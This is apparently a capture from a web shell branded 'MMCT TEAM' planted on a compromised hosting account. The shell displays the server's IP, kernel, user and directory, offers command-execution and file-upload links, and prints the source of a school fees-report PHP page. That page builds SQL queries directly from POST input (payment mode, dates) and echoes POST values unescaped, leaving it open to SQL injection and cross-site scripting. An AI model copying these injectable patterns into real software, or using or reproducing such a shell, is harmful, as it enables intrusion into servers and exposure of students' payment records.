MMCT TEAM
Server IP : 2a02:4780:3:1378:0:3736:a38e:10  /  Your IP : 18.221.201.67
Web Server : LiteSpeed
System : Linux sg-nme-web1278.main-hosting.eu 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u926327694/domains/smsoft.in/public_html/demo/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u926327694/domains/smsoft.in/public_html/demo/datewise_report.php
<?php 

    // First we execute our common code to connection to the database and start the session 
    require("common.php"); 
     
    // At the top of the page we check to see whether the user is logged in or not 
    if(empty($_SESSION['user'])) 
    { 
        // If they are not, we redirect them to the login page. 
        header("Location: login.php"); 
         
        // Remember that this die statement is absolutely critical.  Without it, 
        // people can view your members-only content without logging in. 
        die("Redirecting to login.php"); 
    } 
     
    // Everything below this point in the file is secured by the login system 
     
    // We can display the user's username to them by reading it from the session array.  Remember that because 
    // a username is user submitted content we must use htmlentities on it before displaying it to the user. 
?> 





<?php include "config/config.php";
$r=mysqli_query($con,"select * from class");
$r1=mysqli_query($con,"select * from division");
$r2=mysqli_query($con,"select * from head  ");
?>

<!DOCTYPE html>
<html lang="en">
<head>

	
	<!-- start: Meta -->
	<meta charset="utf-8">
<title>Fees Management</title>	<meta name="description" content="Bootstrap Metro Dashboard">
	<meta name="author" content="Dennis Ji">
	<meta name="keyword" content="Metro, Metro UI, Dashboard, Bootstrap, Admin, Template, Theme, Responsive, Fluid, Retina">
	<!-- end: Meta -->
	
	<!-- start: Mobile Specific -->
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<!-- end: Mobile Specific -->
	
	<!-- start: CSS -->
	<link id="bootstrap-style" href="css/bootstrap.min.css" rel="stylesheet">
	<link href="css/bootstrap-responsive.min.css" rel="stylesheet">
	<link id="base-style" href="css/style.css" rel="stylesheet">
	<link id="base-style-responsive" href="css/style-responsive.css" rel="stylesheet">
	<link href='http://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&subset=latin,cyrillic-ext,latin-ext' rel='stylesheet' type='text/css'>
	<!-- end: CSS -->
	

	<!-- The HTML5 shim, for IE6-8 support of HTML5 elements -->
	<!--[if lt IE 9]>
	  	<script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>
		<link id="ie-style" href="css/ie.css" rel="stylesheet">
	<![endif]-->
	
	<!--[if IE 9]>
		<link id="ie9style" href="css/ie9.css" rel="stylesheet">
	<![endif]-->
		
	<!-- start: Favicon -->
	<link rel="shortcut icon" href="img/favicon.ico">
	<!-- end: Favicon -->
	
		<style type="text/css">
<!--
.style1 {
	color: #3300CC;
	font-weight: bold;
}
.style2 {
	color: #FF0000;
	font-weight: bold;
}
.style4 {
	color: #CC00FF;
	font-weight: bold;
}
-->
</style>

		
</head>

<body onLoad="myFunction()">
		<!-- start: Header -->
	<?php 


	include "menu_f.php"; ?>
	<!-- start: Header -->
	
		<div class="container-fluid-full">
		<div class="row-fluid">
				
			<!-- start: Main Menu -->
			<div id="sidebar-left" class="span2">
				<div class="nav-collapse sidebar-nav">
					<ul class="nav nav-tabs nav-stacked main-menu">
						<li><a href="dashboard.php"><i class="icon-bar-chart"></i><span class="hidden-tablet"> Dashboard</span></a></li>	
						
						<?php include "menu.php"; ?>							
						
						
						
					</ul>
				</div>
			</div>
			<!-- end: Main Menu -->
			
			<noscript>
				<div class="alert alert-block span10">
					<h4 class="alert-heading">Warning!</h4>
					<p>You need to have <a href="http://en.wikipedia.org/wiki/JavaScript" target="_blank">JavaScript</a> enabled to use this site.</p>
				</div>
			</noscript>
			
			<!-- start: Content -->
			
					<div id="content" class="span10">
			
			
			<ul class="breadcrumb">
				<li>
					<i class="icon-home"></i>
					<a href="dashboard.php">Home</a> 
					<i class="icon-angle-right"></i>
				</li>
				<li><a href="#">Report</a></li>
			</ul>


<div class="row-fluid sortable">		
				<div class="box span12">
					<div class="box-header" data-original-title>
						<h2><i class="halflings-icon white user"></i><span class="break"></span>Statistic Report</h2>
						<div class="box-icon">
							
						</div>
					</div>
					<div class="box-content" >
					
	



		<form class="form-horizontal" action="" method="post"  id="customer_form" enctype="multipart/form-data">

							<fieldset>
										 <div class="control-group">
							  <label class="control-label" for="date01">From Date</label>
							  <div class="controls">
								<input type="text" class="input-xlarge datepicker" data-format="yyyy-mm-dd" Name="from" id="from"  value="<?php echo date('m/d/y');?>" required>
							  </div>
							</div>


							 <div class="control-group">
							  <label class="control-label" for="date01">To Date</label>
							  <div class="controls">
								<input type="text" class="input-xlarge datepicker" data-format="yyyy-mm-dd" id="to" Name="to"   value="<?php echo date('m/d/y');?>" required>
							  </div>
							</div>

								<div class="control-group">
				<label class="control-label" for="selectError">Output Type</label>
				<div class="controls">
				<select id="ft" Name="ft" required>
				
				<option value="SUM" >SUM</option>
				<option value="COUNT" >Number of Students</option>
				
				
				</select>
				</div>
				</div>


				


			



			


				<div class="control-group">
				<label class="control-label" for="selectError">Payment Method:</label>
				<div class="controls">
				<select id="paym" Name="paym">
				<option value="">--SELECT--</option>
				<option value="Cash" >Cash</option>
				<option value="Cheque" >Cheque</option>
				<option value="DD" >DD</option>
				<option value="Challan" >Challan</option>
				<option value="Online" >Online</option>
				
				</select>
				</div>
				</div>
								<div class="form-actions">
											<button type="submit" class="btn btn-primary">Show</button>
											<button class="btn">Cancel</button>
						    </div>


				


				
							</fieldset>

					  </form>
</div>
</div>
</div>



<table width="945" border="3" align="center">
  <tr>
    <td width="230">Date(From):<?php if($a=isset($_POST["from"]))
	{
	echo "<font color='Blue'><b> $_POST[from] </b> </font>";
	}
	?></td>
    <td width="231">Date(To):<?php if($b=isset($_POST["to"]))
	{
	echo "<font color='Blue'><b> $_POST[to] </b> </font>";
	}
	?></td>
    <td width="170">Output Type: <?php if($c=isset($_POST["ft"]))
	{
	echo "<font color='Blue'><b> $_POST[ft] </b> </font>";
	}
	?></td>
    <td colspan="2">Payment Mode :<?php if($g=isset($_POST["paym"]))
	{
	echo "<font color='Blue'><b> $_POST[paym] </b> </font>";
	}
	?></td>
  </tr>
 
</table><br>



<div class="row-fluid sortable">		
				<div class="box span12">
					<div class="box-header" data-original-title>
						<h2><i class="halflings-icon white user"></i><span class="break"></span>Students</h2>
						<div class="box-icon">
							
						</div>
					</div>
					<div class="box-content" >
					
					

<?php 


 


if ($_SERVER['REQUEST_METHOD'] == 'POST') 
{

 }

?>
							
						
	
					

							
						<table class="table table-striped table-bordered bootstrap-datatable datatable">
						  <thead>
							 <tr>
								  <th>Date</th>
								  <th>Amount/Count</th>
								  
						    </tr>
						  </thead>   
						  <tbody>

						  
							
							
<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST') 
{
	$argu="";


 if (isset($_POST['ft']))
 if ($_POST['ft'] != NULL)
 {
 $ft=$_POST["ft"]; 
                
 }



 if (isset($_POST['paym']))
 if ($_POST['paym'] != NULL)
 {
 $paym=$_POST["paym"]; 
 $argu=$argu."and paid_fees.Mode='$paym'";                 
 }

$from =$_POST['from'];






$to= $_POST['to'];
 $to=date('Y-m-d',strtotime($to));
  $from=date('Y-m-d',strtotime($from));

$date1=date_create("$from");
$date2=date_create("$to");
$diff=date_diff($date1,$date2);
$difff= $diff->format("%a");



?>
	
		<?php
for($i=0;$i<=$difff;$i++)
{
	if($ft == "SUM")
	{
$sqll= "SELECT  SUM(`Grand_Total`) 
FROM  paid_fees WHERE  Paid_date = '$from' $argu and `Flag` = '1'  ";
}
else
{
$sqll= "SELECT COUNT(DISTINCT(`Stud_Id`))
FROM  paid_fees WHERE  Paid_date = '$from' $argu and `Flag` = '1' ";
}

//echo "$sqll<br>";
 $res=mysqli_query($con,"$sqll");
 $data=mysqli_fetch_array($res);
 ?><tr>
							<td><?php echo "$from"; ?></td>
							<td><?php 
							
							if($data['0'] == "")
							{
							echo '0';
							}
							else
							{
							
							echo $data['0'];
							}
							 ?></td>
							<?php
							date_add($date1,date_interval_create_from_date_string("1 days"));
							$from= date_format($date1,"Y-m-d");
}	

			?> </tr> <?php
}

				
						?>
						
						  </tbody>
					  </table> 

										
					  
	


					
					</div> </div> </div>
							  	           
		
    

	</div>
			
			
			<!--/.fluid-container-->
	
			<!-- end: Content -->
		</div><!--/#content.span10-->
		</div><!--/fluid-row-->
		

	
	<div class="clearfix"></div>
	
	
	<div class="clearfix"></div>
	
		<footer>

		<p>
			<span style="text-align:left;float:left">&copy; 2018 <a href="http://evisioninfotech.in" alt="Bootstrap_Metro_Dashboard">e vision infotech</a></span>
			
		</p>

	</footer>
	
	<!-- end: JavaScript-->
	<script src="js/jquery-1.9.1.min.js"></script>
	<script src="js/jquery-migrate-1.0.0.min.js"></script>
	
		<script src="js/jquery-ui-1.10.0.custom.min.js"></script>
	
		<script src="js/jquery.ui.touch-punch.js"></script>
	
		<script src="js/modernizr.js"></script>
	
		<script src="js/bootstrap.min.js"></script>
	
		<script src="js/jquery.cookie.js"></script>
	
		<script src='js/fullcalendar.min.js'></script>
	
		<script src='js/jquery.dataTables.min.js'></script>

		<script src="js/excanvas.js"></script>
	<script src="js/jquery.flot.js"></script>
	<script src="js/jquery.flot.pie.js"></script>
	<script src="js/jquery.flot.stack.js"></script>
	<script src="js/jquery.flot.resize.min.js"></script>
	
		<script src="js/jquery.chosen.min.js"></script>
	
		<script src="js/jquery.uniform.min.js"></script>
		
		<script src="js/jquery.cleditor.min.js"></script>
	
		<script src="js/jquery.noty.js"></script>
	
		<script src="js/jquery.elfinder.min.js"></script>
	
		<script src="js/jquery.raty.min.js"></script>
	
		<script src="js/jquery.iphone.toggle.js"></script>
	
		<script src="js/jquery.uploadify-3.1.min.js"></script>
	
		<script src="js/jquery.gritter.min.js"></script>
	
		<script src="js/jquery.imagesloaded.js"></script>
	
		<script src="js/jquery.masonry.min.js"></script>
	
		<script src="js/jquery.knob.modified.js"></script>
	
		<script src="js/jquery.sparkline.min.js"></script>
	
		<script src="js/counter.js"></script>
	
		<script src="js/retina.js"></script>

		<script src="js/custom.js"></script>
</body>
</html>

	


MMCT - 2023